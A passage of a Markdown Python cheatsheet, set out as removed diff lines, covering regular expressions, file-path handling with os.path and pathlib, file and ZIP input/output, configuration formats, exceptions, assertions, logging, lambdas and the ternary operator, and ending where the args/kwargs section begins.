-True
-```
-
-The r'\d$' regular expression string matches strings that end with a numeric character from 0 to 9:
-
-```python
->>> whole_string_is_num = re.compile(r'^\d+$')
-
->>> whole_string_is_num.search('1234567890')
-<_sre.SRE_Match object; span=(0, 10), match='1234567890'>
-
->>> whole_string_is_num.search('12345xyz67890') is None
-True
-
->>> whole_string_is_num.search('12 34567890') is None
-True
-```
-
-_Return to the Top_
-
-### The Wildcard Character
-
-The . (or dot) character in a regular expression is called a wildcard and will match any character except for a newline:
-
-```python
->>> at_regex = re.compile(r'.at')
-
->>> at_regex.findall('The cat in the hat sat on the flat mat.')
-['cat', 'hat', 'sat', 'lat', 'mat']
-```
-
-_Return to the Top_
-
-### Matching Everything with Dot-Star
-
-```python
->>> name_regex = re.compile(r'First Name: (.*) Last Name: (.*)')
-
->>> mo = name_regex.search('First Name: Al Last Name: Sweigart')
-
->>> mo.group(1)
-'Al'
-```
-
-```python
->>> mo.group(2)
-'Sweigart'
-```
-
-The dot-star uses greedy mode: It will always try to match as much text as possible. To match any and all text in a nongreedy fashion, use the dot, star, and question mark (.\*?). The question mark tells Python to match in a nongreedy way:
-
-```python
->>> nongreedy_regex = re.compile(r'<.*?>')
->>> mo = nongreedy_regex.search('<To serve man> for dinner.>')
->>> mo.group()
-'<To serve man>'
-```
-
-```python
->>> greedy_regex = re.compile(r'<.*>')
->>> mo = greedy_regex.search('<To serve man> for dinner.>')
->>> mo.group()
-'<To serve man> for dinner.>'
-```
-
-_Return to the Top_
-
-### Matching Newlines with the Dot Character
-
-The dot-star will match everything except a newline. By passing re.DOTALL as the second argument to re.compile(), you can make the dot character match all characters, including the newline character:
-
-```python
->>> no_newline_regex = re.compile('.*')
->>> no_newline_regex.search('Serve the public trust.\nProtect the innocent.\nUphold the law.').group()
-'Serve the public trust.'
-```
-
-```python
->>> newline_regex = re.compile('.*', re.DOTALL)
->>> newline_regex.search('Serve the public trust.\nProtect the innocent.\nUphold the law.').group()
-'Serve the public trust.\nProtect the innocent.\nUphold the law.'
-```
-
-_Return to the Top_
-
-### Review of Regex Symbols
-
-| Symbol                   | Matches                                                |
-| ------------------------ | ------------------------------------------------------ |
-| `?`                      | zero or one of the preceding group.                    |
-| `*`                      | zero or more of the preceding group.                   |
-| `+`                      | one or more of the preceding group.                    |
-| `{n}`                    | exactly n of the preceding group.                      |
-| `{n,}`                   | n or more of the preceding group.                      |
-| `{,m}`                   | 0 to m of the preceding group.                         |
-| `{n,m}`                  | at least n and at most m of the preceding p.           |
-| `{n,m}?` or `*?` or `+?` | performs a nongreedy match of the preceding p.         |
-| `^spam`                  | means the string must begin with spam.                 |
-| `spam$`                  | means the string must end with spam.                   |
-| `.`                      | any character, except newline characters.              |
-| `\d`, `\w`, and `\s`     | a digit, word, or space character, respectively.       |
-| `\D`, `\W`, and `\S`     | anything except a digit, word, or space, respectively. |
-| `[abc]`                  | any character between the brackets (such as a, b, ).   |
-| `[^abc]`                 | any character that isn't between the brackets.         |
-
-_Return to the Top_
-
-### Case-Insensitive Matching
-
-To make your regex case-insensitive, you can pass re.IGNORECASE or re.I as a second argument to re.compile():
-
-```python
->>> robocop = re.compile(r'robocop', re.I)
-
->>> robocop.search('Robocop is part man, part machine, all cop.').group()
-'Robocop'
-```
-
-```python
->>> robocop.search('ROBOCOP protects the innocent.').group()
-'ROBOCOP'
-```
-
-```python
->>> robocop.search('Al, why does your programming book talk about robocop so much?').group()
-'robocop'
-```
-
-_Return to the Top_
-
-### Substituting Strings with the sub() Method
-
-The sub() method for Regex objects is passed two arguments:
-
-1. The first argument is a string to replace any matches.
-2. The second is the string for the regular expression.
-
-The sub() method returns a string with the substitutions applied:
-
-```python
->>> names_regex = re.compile(r'Agent \w+')
-
->>> names_regex.sub('CENSORED', 'Agent Alice gave the secret documents to Agent Bob.')
-'CENSORED gave the secret documents to CENSORED.'
-```
-
-Another example:
-
-```python
->>> agent_names_regex = re.compile(r'Agent (\w)\w*')
-
->>> agent_names_regex.sub(r'\1****', 'Agent Alice told Agent Carol that Agent Eve knew Agent Bob was a double agent.')
-A**** told C**** that E**** knew B**** was a double agent.'
-```
-
-_Return to the Top_
-
-### Managing Complex Regexes
-
-To tell the re.compile() function to ignore whitespace and comments inside the regular expression string, "verbose mode" can be enabled by passing the variable re.VERBOSE as the second argument to re.compile().
-
-Now instead of a hard-to-read regular expression like this:
-
-```python
-phone_regex = re.compile(r'((\d{3}|\(\d{3}\))?(\s|-|\.)?\d{3}(\s|-|\.)\d{4}(\s*(ext|x|ext.)\s*\d{2,5})?)')
-```
-
-you can spread the regular expression over multiple lines with comments like this:
-
-```python
-phone_regex = re.compile(r'''(
-    (\d{3}|\(\d{3}\))?            # area code
-    (\s|-|\.)?                    # separator
-    \d{3}                         # first 3 digits
-    (\s|-|\.)                     # separator
-    \d{4}                         # last 4 digits
-    (\s*(ext|x|ext.)\s*\d{2,5})?  # extension
-    )''', re.VERBOSE)
-```
-
-_Return to the Top_
-
-## Handling File and Directory Paths
-
-There are two main modules in Python that deals with path manipulation. One is the `os.path` module and the other is the `pathlib` module. The `pathlib` module was added in Python 3.4, offering an object-oriented way to handle file system paths.
-
-_Return to the Top_
-
-### Backslash on Windows and Forward Slash on OS X and Linux
-
-On Windows, paths are written using backslashes (`\`) as the separator between folder names. On Unix based operating system such as macOS, Linux, and BSDs, the forward slash (`/`) is used as the path separator. Joining paths can be a headache if your code needs to work on different platforms.
-
-Fortunately, Python provides easy ways to handle this. We will showcase how to deal with this with both `os.path.join` and `pathlib.Path.joinpath`
-
-Using `os.path.join` on Windows:
-
-```python
->>> import os
-
->>> os.path.join('usr', 'bin', 'spam')
-'usr\\bin\\spam'
-```
-
-And using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
-
->>> print(Path('usr').joinpath('bin').joinpath('spam'))
-usr/bin/spam
-```
-
-`pathlib` also provides a shortcut to joinpath using the `/` operator:
-
-```python
->>> from pathlib import Path
-
->>> print(Path('usr') / 'bin' / 'spam')
-usr/bin/spam
-```
-
-Notice the path separator is different between Windows and Unix based operating system, that's why you want to use one of the above methods instead of adding strings together to join paths together.
-
-Joining paths is helpful if you need to create different file paths under the same directory.
-
-Using `os.path.join` on Windows:
-
-```python
->>> my_files = ['accounts.txt', 'details.csv', 'invite.docx']
-
->>> for filename in my_files:
->>>     print(os.path.join('C:\\Users\\asweigart', filename))
-C:\Users\asweigart\accounts.txt
-C:\Users\asweigart\details.csv
-C:\Users\asweigart\invite.docx
-```
-
-Using `pathlib` on \*nix:
-
-```python
->>> my_files = ['accounts.txt', 'details.csv', 'invite.docx']
->>> home = Path.home()
->>> for filename in my_files:
->>>     print(home / filename)
-/home/asweigart/accounts.txt
-/home/asweigart/details.csv
-/home/asweigart/invite.docx
-```
-
-_Return to the Top_
-
-### The Current Working Directory
-
-Using `os` on Windows:
-
-```python
->>> import os
-
->>> os.getcwd()
-'C:\\Python34'
->>> os.chdir('C:\\Windows\\System32')
-
->>> os.getcwd()
-'C:\\Windows\\System32'
-```
-
-Using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
->>> from os import chdir
-
->>> print(Path.cwd())
-/home/asweigart
-
->>> chdir('/usr/lib/python3.6')
->>> print(Path.cwd())
-/usr/lib/python3.6
-```
-
-_Return to the Top_
-
-### Creating New Folders
-
-Using `os` on Windows:
-
-```python
->>> import os
->>> os.makedirs('C:\\delicious\\walnut\\waffles')
-```
-
-Using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
->>> cwd = Path.cwd()
->>> (cwd / 'delicious' / 'walnut' / 'waffles').mkdir()
-Traceback (most recent call last):
-  File "<stdin>", line 1, in <module>
-  File "/usr/lib/python3.6/pathlib.py", line 1226, in mkdir
-    self._accessor.mkdir(self, mode)
-  File "/usr/lib/python3.6/pathlib.py", line 387, in wrapped
-    return strfunc(str(pathobj), *args)
-FileNotFoundError: [Errno 2] No such file or directory: '/home/asweigart/delicious/walnut/waffles'
-```
-
-Oh no, we got a nasty error! The reason is that the 'delicious' directory does not exist, so we cannot make the 'walnut' and the 'waffles' directories under it. To fix this, do:
-
-```python
->>> from pathlib import Path
->>> cwd = Path.cwd()
->>> (cwd / 'delicious' / 'walnut' / 'waffles').mkdir(parents=True)
-```
-
-And all is good :)
-
-_Return to the Top_
-
-### Absolute vs. Relative Paths
-
-There are two ways to specify a file path.
-
--   An absolute path, which always begins with the root folder
--   A relative path, which is relative to the program's current working directory
-
-There are also the dot (.) and dot-dot (..) folders. These are not real folders but special names that can be used in a path. A single period ("dot") for a folder name is shorthand for "this directory." Two periods ("dot-dot") means "the parent folder."
-
-_Return to the Top_
-
-### Handling Absolute and Relative Paths
-
-To see if a path is an absolute path:
-
-Using `os.path` on \*nix:
-
-```python
->>> import os
->>> os.path.isabs('/')
-True
->>> os.path.isabs('..')
-False
-```
-
-Using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
->>> Path('/').is_absolute()
-True
->>> Path('..').is_absolute()
-False
-```
-
-You can extract an absolute path with both `os.path` and `pathlib`
-
-Using `os.path` on \*nix:
-
-```python
->>> import os
->>> os.getcwd()
-'/home/asweigart'
->>> os.path.abspath('..')
-'/home'
-```
-
-Using `pathlib` on \*nix:
-
-```python
-from pathlib import Path
-print(Path.cwd())
-/home/asweigart
-print(Path('..').resolve())
-/home
-```
-
-You can get a relative path from a starting path to another path.
-
-Using `os.path` on \*nix:
-
-```python
->>> import os
->>> os.path.relpath('/etc/passwd', '/')
-'etc/passwd'
-```
-
-Using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
->>> print(Path('/etc/passwd').relative_to('/'))
-etc/passwd
-```
-
-_Return to the Top_
-
-### Checking Path Validity
-
-Checking if a file/directory exists:
-
-Using `os.path` on \*nix:
-
-```python
-import os
->>> os.path.exists('.')
-True
->>> os.path.exists('setup.py')
-True
->>> os.path.exists('/etc')
-True
->>> os.path.exists('nonexistentfile')
-False
-```
-
-Using `pathlib` on \*nix:
-
-```python
-from pathlib import Path
->>> Path('.').exists()
-True
->>> Path('setup.py').exists()
-True
->>> Path('/etc').exists()
-True
->>> Path('nonexistentfile').exists()
-False
-```
-
-Checking if a path is a file:
-
-Using `os.path` on \*nix:
-
-```python
->>> import os
->>> os.path.isfile('setup.py')
-True
->>> os.path.isfile('/home')
-False
->>> os.path.isfile('nonexistentfile')
-False
-```
-
-Using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
->>> Path('setup.py').is_file()
-True
->>> Path('/home').is_file()
-False
->>> Path('nonexistentfile').is_file()
-False
-```
-
-Checking if a path is a directory:
-
-Using `os.path` on \*nix:
-
-```python
->>> import os
->>> os.path.isdir('/')
-True
->>> os.path.isdir('setup.py')
-False
->>> os.path.isdir('/spam')
-False
-```
-
-Using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
->>> Path('/').is_dir()
-True
->>> Path('setup.py').is_dir()
-False
->>> Path('/spam').is_dir()
-False
-```
-
-_Return to the Top_
-
-### Finding File Sizes and Folder Contents
-
-Getting a file's size in bytes:
-
-Using `os.path` on Windows:
-
-```python
->>> import os
->>> os.path.getsize('C:\\Windows\\System32\\calc.exe')
-776192
-```
-
-Using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
->>> stat = Path('/bin/python3.6').stat()
->>> print(stat) # stat contains some other information about the file as well
-os.stat_result(st_mode=33261, st_ino=141087, st_dev=2051, st_nlink=2, st_uid=0,
---snip--
-st_gid=0, st_size=10024, st_atime=1517725562, st_mtime=1515119809, st_ctime=1517261276)
->>> print(stat.st_size) # size in bytes
-10024
-```
-
-Listing directory contents using `os.listdir` on Windows:
-
-```python
->>> import os
->>> os.listdir('C:\\Windows\\System32')
-['0409', '12520437.cpx', '12520850.cpx', '5U877.ax', 'aaclient.dll',
---snip--
-'xwtpdui.dll', 'xwtpw32.dll', 'zh-CN', 'zh-HK', 'zh-TW', 'zipfldr.dll']
-```
-
-Listing directory contents using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
->>> for f in Path('/usr/bin').iterdir():
->>>     print(f)
-...
-/usr/bin/tiff2rgba
-/usr/bin/iconv
-/usr/bin/ldd
-/usr/bin/cache_restore
-/usr/bin/udiskie
-/usr/bin/unix2dos
-/usr/bin/t1reencode
-/usr/bin/epstopdf
-/usr/bin/idle3
-...
-```
-
-To find the total size of all the files in this directory:
-
-**WARNING**: Directories themselves also have a size! So you might want to check for whether a path is a file or directory using the methods in the methods discussed in the above section!
-
-Using `os.path.getsize()` and `os.listdir()` together on Windows:
-
-```python
->>> import os
->>> total_size = 0
-
->>> for filename in os.listdir('C:\\Windows\\System32'):
-      total_size = total_size + os.path.getsize(os.path.join('C:\\Windows\\System32', filename))
-
->>> print(total_size)
-1117846456
-```
-
-Using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
->>> total_size = 0
-
->>> for sub_path in Path('/usr/bin').iterdir():
-...     total_size += sub_path.stat().st_size
->>>
->>> print(total_size)
-1903178911
-```
-
-_Return to the Top_
-
-### Copying Files and Folders
-
-The shutil module provides functions for copying files, as well as entire folders.
-
-```python
->>> import shutil, os
-
->>> os.chdir('C:\\')
-
->>> shutil.copy('C:\\spam.txt', 'C:\\delicious')
-   'C:\\delicious\\spam.txt'
-
->>> shutil.copy('eggs.txt', 'C:\\delicious\\eggs2.txt')
-   'C:\\delicious\\eggs2.txt'
-```
-
-While shutil.copy() will copy a single file, shutil.copytree() will copy an entire folder and every folder and file contained in it:
-
-```python
->>> import shutil, os
-
->>> os.chdir('C:\\')
-
->>> shutil.copytree('C:\\bacon', 'C:\\bacon_backup')
-'C:\\bacon_backup'
-```
-
-_Return to the Top_
-
-### Moving and Renaming Files and Folders
-
-```python
->>> import shutil
->>> shutil.move('C:\\bacon.txt', 'C:\\eggs')
-'C:\\eggs\\bacon.txt'
-```
-
-The destination path can also specify a filename. In the following example, the source file is moved and renamed:
-
-```python
->>> shutil.move('C:\\bacon.txt', 'C:\\eggs\\new_bacon.txt')
-'C:\\eggs\\new_bacon.txt'
-```
-
-If there is no eggs folder, then move() will rename bacon.txt to a file named eggs.
-
-```python
->>> shutil.move('C:\\bacon.txt', 'C:\\eggs')
-'C:\\eggs'
-```
-
-_Return to the Top_
-
-### Permanently Deleting Files and Folders
-
--   Calling os.unlink(path) or Path.unlink() will delete the file at path.
--   Calling os.rmdir(path) or Path.rmdir() will delete the folder at path. This folder must be empty of any files or folders.
--   Calling shutil.rmtree(path) will remove the folder at path, and all files and folders it contains will also be deleted.
-
-_Return to the Top_
-
-### Safe Deletes with the send2trash Module
-
-You can install this module by running pip install send2trash from a Terminal window.
-
-```python
->>> import send2trash
-
->>> with open('bacon.txt', 'a') as bacon_file: # creates the file
-...     bacon_file.write('Bacon is not a vegetable.')
-25
-
->>> send2trash.send2trash('bacon.txt')
-```
-
-_Return to the Top_
-
-### Walking a Directory Tree
-
-```python
->>> import os
->>>
->>> for folder_name, subfolders, filenames in os.walk('C:\\delicious'):
->>>     print('The current folder is {}'.format(folder_name))
->>>
->>>     for subfolder in subfolders:
->>>         print('SUBFOLDER OF {}: {}'.format(folder_name, subfolder))
->>>     for filename in filenames:
->>>         print('FILE INSIDE {}: {}'.format(folder_name, filename))
->>>
->>>     print('')
-The current folder is C:\delicious
-SUBFOLDER OF C:\delicious: cats
-SUBFOLDER OF C:\delicious: walnut
-FILE INSIDE C:\delicious: spam.txt
-
-The current folder is C:\delicious\cats
-FILE INSIDE C:\delicious\cats: catnames.txt
-FILE INSIDE C:\delicious\cats: zophie.jpg
-
-The current folder is C:\delicious\walnut
-SUBFOLDER OF C:\delicious\walnut: waffles
-
-The current folder is C:\delicious\walnut\waffles
-FILE INSIDE C:\delicious\walnut\waffles: butter.txt
-```
-
-_Return to the Top_
-
-`pathlib` provides a lot more functionality than the ones listed above, like getting file name, getting file extension, reading/writing a file without manually opening it, etc. Check out the [official documentation](https://docs.python.org/3/library/pathlib.html) if you want to know more!
-
-## Reading and Writing Files
-
-### The File Reading/Writing Process
-
-To read/write to a file in Python, you will want to use the `with` statement, which will close the file for you after you are done.
-
-_Return to the Top_
-
-### Opening and reading files with the open() function
-
-```python
->>> with open('C:\\Users\\your_home_folder\\hello.txt') as hello_file:
-...     hello_content = hello_file.read()
->>> hello_content
-'Hello World!'
-
->>> # Alternatively, you can use the *readlines()* method to get a list of string values from the file, one string for each line of text:
-
->>> with open('sonnet29.txt') as sonnet_file:
-...     sonnet_file.readlines()
-[When, in disgrace with fortune and men's eyes,\n', ' I all alone beweep my
-outcast state,\n', And trouble deaf heaven with my bootless cries,\n', And
-look upon myself and curse my fate,']
-
->>> # You can also iterate through the file line by line:
->>> with open('sonnet29.txt') as sonnet_file:
-...     for line in sonnet_file: # note the new line character will be included in the line
-...         print(line, end='')
-
-When, in disgrace with fortune and men's eyes,
-I all alone beweep my outcast state,
-And trouble deaf heaven with my bootless cries,
-And look upon myself and curse my fate,
-```
-
-_Return to the Top_
-
-### Writing to Files
-
-```python
->>> with open('bacon.txt', 'w') as bacon_file:
-...     bacon_file.write('Hello world!\n')
-13
-
->>> with open('bacon.txt', 'a') as bacon_file:
-...     bacon_file.write('Bacon is not a vegetable.')
-25
-
->>> with open('bacon.txt') as bacon_file:
-...     content = bacon_file.read()
-
->>> print(content)
-Hello world!
-Bacon is not a vegetable.
-```
-
-_Return to the Top_
-
-### Saving Variables with the shelve Module
-
-To save variables:
-
-```python
->>> import shelve
-
->>> cats = ['Zophie', 'Pooka', 'Simon']
->>> with shelve.open('mydata') as shelf_file:
-...     shelf_file['cats'] = cats
-```
-
-To open and read variables:
-
-```python
->>> with shelve.open('mydata') as shelf_file:
-...     print(type(shelf_file))
-...     print(shelf_file['cats'])
-<class 'shelve.DbfilenameShelf'>
-['Zophie', 'Pooka', 'Simon']
-```
-
-Just like dictionaries, shelf values have keys() and values() methods that will return list-like values of the keys and values in the shelf. Since these methods return list-like values instead of true lists, you should pass them to the list() function to get them in list form.
-
-```python
->>> with shelve.open('mydata') as shelf_file:
-...     print(list(shelf_file.keys()))
-...     print(list(shelf_file.values()))
-['cats']
-[['Zophie', 'Pooka', 'Simon']]
-```
-
-_Return to the Top_
-
-### Saving Variables with the pprint.pformat() Function
-
-```python
->>> import pprint
-
->>> cats = [{'name': 'Zophie', 'desc': 'chubby'}, {'name': 'Pooka', 'desc': 'fluffy'}]
-
->>> pprint.pformat(cats)
-"[{'desc': 'chubby', 'name': 'Zophie'}, {'desc': 'fluffy', 'name': 'Pooka'}]"
-
->>> with open('myCats.py', 'w') as file_obj:
-...     file_obj.write('cats = {}\n'.format(pprint.pformat(cats)))
-83
-```
-
-_Return to the Top_
-
-### Reading ZIP Files
-
-```python
->>> import zipfile, os
-
->>> os.chdir('C:\\')    # move to the folder with example.zip
->>> with zipfile.ZipFile('example.zip') as example_zip:
-...     print(example_zip.namelist())
-...     spam_info = example_zip.getinfo('spam.txt')
-...     print(spam_info.file_size)
-...     print(spam_info.compress_size)
-...     print('Compressed file is %sx smaller!' % (round(spam_info.file_size / spam_info.compress_size, 2)))
-
-['spam.txt', 'cats/', 'cats/catnames.txt', 'cats/zophie.jpg']
-13908
-3828
-'Compressed file is 3.63x smaller!'
-```
-
-_Return to the Top_
-
-### Extracting from ZIP Files
-
-The extractall() method for ZipFile objects extracts all the files and folders from a ZIP file into the current working directory.
-
-```python
->>> import zipfile, os
-
->>> os.chdir('C:\\')    # move to the folder with example.zip
-
->>> with zipfile.ZipFile('example.zip') as example_zip:
-...     example_zip.extractall()
-```
-
-The extract() method for ZipFile objects will extract a single file from the ZIP file. Continue the interactive shell example:
-
-```python
->>> with zipfile.ZipFile('example.zip') as example_zip:
-...     print(example_zip.extract('spam.txt'))
-...     print(example_zip.extract('spam.txt', 'C:\\some\\new\\folders'))
-'C:\\spam.txt'
-'C:\\some\\new\\folders\\spam.txt'
-```
-
-_Return to the Top_
-
-### Creating and Adding to ZIP Files
-
-```python
->>> import zipfile
-
->>> with zipfile.ZipFile('new.zip', 'w') as new_zip:
-...     new_zip.write('spam.txt', compress_type=zipfile.ZIP_DEFLATED)
-```
-
-This code will create a new ZIP file named new.zip that has the compressed contents of spam.txt.
-
-_Return to the Top_
-
-## JSON, YAML and configuration files
-
-### JSON
-
-Open a JSON file with:
-
-```python
-import json
-with open("filename.json", "r") as f:
-    content = json.loads(f.read())
-```
-
-Write a JSON file with:
-
-```python
-import json
-
-content = {"name": "Joe", "age": 20}
-with open("filename.json", "w") as f:
-    f.write(json.dumps(content, indent=2))
-```
-
-_Return to the Top_
-
-### YAML
-
-Compared to JSON, YAML allows for much better human maintainability and gives you the option to add comments. It is a convenient choice for configuration files where humans will have to edit it.
-
-There are two main libraries allowing to access to YAML files:
-
--   [PyYaml](https://pypi.python.org/pypi/PyYAML)
--   [Ruamel.yaml](https://pypi.python.org/pypi/ruamel.yaml)
-
-Install them using `pip install` in your virtual environment.
-
-The first one it easier to use but the second one, Ruamel, implements much better the YAML specification, and allow for example to modify a YAML content without altering comments.
-
-Open a YAML file with:
-
-```python
-from ruamel.yaml import YAML
-
-with open("filename.yaml") as f:
-    yaml=YAML()
-    yaml.load(f)
-```
-
-_Return to the Top_
-
-### Anyconfig
-
-[Anyconfig](https://pypi.python.org/pypi/anyconfig) is a very handy package allowing to abstract completely the underlying configuration file format. It allows to load a Python dictionary from JSON, YAML, TOML, and so on.
-
-Install it with:
-
-```bash
-pip install anyconfig
-```
-
-Usage:
-
-```python
-import anyconfig
-
-conf1 = anyconfig.load("/path/to/foo/conf.d/a.yml")
-```
-
-_Return to the Top_
-
-## Debugging
-
-### Raising Exceptions
-
-Exceptions are raised with a raise statement. In code, a raise statement consists of the following:
-
--   The raise keyword
--   A call to the Exception() function
--   A string with a helpful error message passed to the Exception() function
-
-```python
->>> raise Exception('This is the error message.')
-Traceback (most recent call last):
-  File "<pyshell#191>", line 1, in <module>
-    raise Exception('This is the error message.')
-Exception: This is the error message.
-```
-
-Often it's the code that calls the function, not the function itself, that knows how to handle an exception. So you will commonly see a raise statement inside a function and the try and except statements in the code calling the function.
-
-```python
-def box_print(symbol, width, height):
-    if len(symbol) != 1:
-      raise Exception('Symbol must be a single character string.')
-    if width <= 2:
-      raise Exception('Width must be greater than 2.')
-    if height <= 2:
-      raise Exception('Height must be greater than 2.')
-    print(symbol * width)
-    for i in range(height - 2):
-        print(symbol + (' ' * (width - 2)) + symbol)
-    print(symbol * width)
-for sym, w, h in (('*', 4, 4), ('O', 20, 5), ('x', 1, 3), ('ZZ', 3, 3)):
-    try:
-        box_print(sym, w, h)
-    except Exception as err:
-        print('An exception happened: ' + str(err))
-```
-
-_Return to the Top_
-
-### Getting the Traceback as a String
-
-The traceback is displayed by Python whenever a raised exception goes unhandled. But can also obtain it as a string by calling traceback.format_exc(). This function is useful if you want the information from an exception's traceback but also want an except statement to gracefully handle the exception. You will need to import Python's traceback module before calling this function.
-
-```python
->>> import traceback
-
->>> try:
->>>      raise Exception('This is the error message.')
->>> except:
->>>      with open('errorInfo.txt', 'w') as error_file:
->>>          error_file.write(traceback.format_exc())
->>>      print('The traceback info was written to errorInfo.txt.')
-116
-The traceback info was written to errorInfo.txt.
-```
-
-The 116 is the return value from the write() method, since 116 characters were written to the file. The traceback text was written to errorInfo.txt.
-
-```
-Traceback (most recent call last):
-  File "<pyshell#28>", line 2, in <module>
-Exception: This is the error message.
-```
-
-_Return to the Top_
-
-### Assertions
-
-An assertion is a sanity check to make sure your code isn't doing something obviously wrong. These sanity checks are performed by assert statements. If the sanity check fails, then an AssertionError exception is raised. In code, an assert statement consists of the following:
-
--   The assert keyword
--   A condition (that is, an expression that evaluates to True or False)
--   A comma
--   A string to display when the condition is False
-
-```python
->>> pod_bay_door_status = 'open'
-
->>> assert pod_bay_door_status == 'open', 'The pod bay doors need to be "open".'
-
->>> pod_bay_door_status = 'I\'m sorry, Dave. I\'m afraid I can\'t do that.'
-
->>> assert pod_bay_door_status == 'open', 'The pod bay doors need to be "open".'
-
-Traceback (most recent call last):
-  File "<pyshell#10>", line 1, in <module>
-    assert pod_bay_door_status == 'open', 'The pod bay doors need to be "open".'
-AssertionError: The pod bay doors need to be "open".
-```
-
-In plain English, an assert statement says, "I assert that this condition holds true, and if not, there is a bug somewhere in the program." Unlike exceptions, your code should not handle assert statements with try and except; if an assert fails, your program should crash. By failing fast like this, you shorten the time between the original cause of the bug and when you first notice the bug. This will reduce the amount of code you will have to check before finding the code that's causing the bug.
-
-Disabling Assertions
-
-Assertions can be disabled by passing the -O option when running Python.
-
-_Return to the Top_
-
-### Logging
-
-To enable the logging module to display log messages on your screen as your program runs, copy the following to the top of your program (but under the #! python shebang line):
-
-```python
-import logging
-
-logging.basicConfig(level=logging.DEBUG, format=' %(asctime)s - %(levelname)s- %(message)s')
-```
-
-Say you wrote a function to calculate the factorial of a number. In mathematics, factorial 4 is 1 × 2 × 3 × 4, or 24. Factorial 7 is 1 × 2 × 3 × 4 × 5 × 6 × 7, or 5,040. Open a new file editor window and enter the following code. It has a bug in it, but you will also enter several log messages to help yourself figure out what is going wrong. Save the program as factorialLog.py.
-
-```python
->>> import logging
->>>
->>> logging.basicConfig(level=logging.DEBUG, format=' %(asctime)s - %(levelname)s- %(message)s')
->>>
->>> logging.debug('Start of program')
->>>
->>> def factorial(n):
->>>
->>>     logging.debug('Start of factorial(%s)' % (n))
->>>     total = 1
->>>
->>>     for i in range(1, n + 1):
->>>         total *= i
->>>         logging.debug('i is ' + str(i) + ', total is ' + str(total))
->>>
->>>     logging.debug('End of factorial(%s)' % (n))
->>>
->>>     return total
->>>
->>> print(factorial(5))
->>> logging.debug('End of program')
-2015-05-23 16:20:12,664 - DEBUG - Start of program
-2015-05-23 16:20:12,664 - DEBUG - Start of factorial(5)
-2015-05-23 16:20:12,665 - DEBUG - i is 0, total is 0
-2015-05-23 16:20:12,668 - DEBUG - i is 1, total is 0
-2015-05-23 16:20:12,670 - DEBUG - i is 2, total is 0
-2015-05-23 16:20:12,673 - DEBUG - i is 3, total is 0
-2015-05-23 16:20:12,675 - DEBUG - i is 4, total is 0
-2015-05-23 16:20:12,678 - DEBUG - i is 5, total is 0
-2015-05-23 16:20:12,680 - DEBUG - End of factorial(5)
-0
-2015-05-23 16:20:12,684 - DEBUG - End of program
-```
-
-_Return to the Top_
-
-### Logging Levels
-
-Logging levels provide a way to categorize your log messages by importance. There are five logging levels, described in Table 10-1 from least to most important. Messages can be logged at each level using a different logging function.
-
-| Level      | Logging Function     | Description                                                                                                                    |
-| ---------- | -------------------- | ------------------------------------------------------------------------------------------------------------------------------ |
-| `DEBUG`    | `logging.debug()`    | The lowest level. Used for small details. Usually you care about these messages only when diagnosing problems.                 |
-| `INFO`     | `logging.info()`     | Used to record information on general events in your program or confirm that things are working at their point in the program. |
-| `WARNING`  | `logging.warning()`  | Used to indicate a potential problem that doesn't prevent the program from working but might do so in the future.              |
-| `ERROR`    | `logging.error()`    | Used to record an error that caused the program to fail to do something.                                                       |
-| `CRITICAL` | `logging.critical()` | The highest level. Used to indicate a fatal error that has caused or is about to cause the program to stop running entirely.   |
-
-_Return to the Top_
-
-### Disabling Logging
-
-After you've debugged your program, you probably don't want all these log messages cluttering the screen. The logging.disable() function disables these so that you don't have to go into your program and remove all the logging calls by hand.
-
-```python
->>> import logging
-
->>> logging.basicConfig(level=logging.INFO, format=' %(asctime)s -%(levelname)s - %(message)s')
-
->>> logging.critical('Critical error! Critical error!')
-2015-05-22 11:10:48,054 - CRITICAL - Critical error! Critical error!
-
->>> logging.disable(logging.CRITICAL)
-
->>> logging.critical('Critical error! Critical error!')
-
->>> logging.error('Error! Error!')
-```
-
-_Return to the Top_
-
-### Logging to a File
-
-Instead of displaying the log messages to the screen, you can write them to a text file. The logging.basicConfig() function takes a filename keyword argument, like so:
-
-```python
-import logging
-
-logging.basicConfig(filename='myProgramLog.txt', level=logging.DEBUG, format='%(asctime)s - %(levelname)s - %(message)s')
-```
-
-_Return to the Top_
-
-## Lambda Functions
-
-This function:
-
-```python
->>> def add(x, y):
-        return x + y
-
->>> add(5, 3)
-8
-```
-
-Is equivalent to the _lambda_ function:
-
-```python
->>> add = lambda x, y: x + y
->>> add(5, 3)
-8
-```
-
-It's not even need to bind it to a name like add before:
-
-```python
->>> (lambda x, y: x + y)(5, 3)
-8
-```
-
-Like regular nested functions, lambdas also work as lexical closures:
-
-```python
->>> def make_adder(n):
-        return lambda x: x + n
-
->>> plus_3 = make_adder(3)
->>> plus_5 = make_adder(5)
-
->>> plus_3(4)
-7
->>> plus_5(4)
-9
-```
-
-Note: lambda can only evaluate an expression, like a single line of code.
-
-_Return to the Top_
-
-## Ternary Conditional Operator
-
-Many programming languages have a ternary operator, which define a conditional expression. The most common usage is to make a terse simple conditional assignment statement. In other words, it offers one-line code to evaluate the first expression if the condition is true, otherwise it evaluates the second expression.
-
-```
-<expression1> if <condition> else <expression2>
-```
-
-Example:
-
-```python
->>> age = 15
-
->>> print('kid' if age < 18 else 'adult')
-kid
-```
-
-Ternary operators can be chained:
-
-```python
->>> age = 15
-
->>> print('kid' if age < 13 else 'teenager' if age < 18 else 'adult')
-teenager
-```
-
-The code above is equivalent to:
-
-```python
-if age < 18:
-    if age < 13:
-        print('kid')
-    else:
-        print('teenager')
-else:
-    print('adult')
-```
-
-_Return to the Top_
-
-## args and kwargs
-
-The names `args and kwargs` are arbitrary - the important thing are the `*` and `**` operators. They can mean:
-
-1. In a function declaration, `*` means "pack all remaining positional arguments into a tuple named `<name>`", while `**` is the same for keyword arguments (except it uses a dictionary, not a tuple).
-2. In a function call, `*` means "unpack tuple or list named `<name>` to positional arguments at this position", while `**` is the same for keyword arguments.
-
-For example you can make a function that you can use to call any other function, no matter what parameters it has:
-
-```python
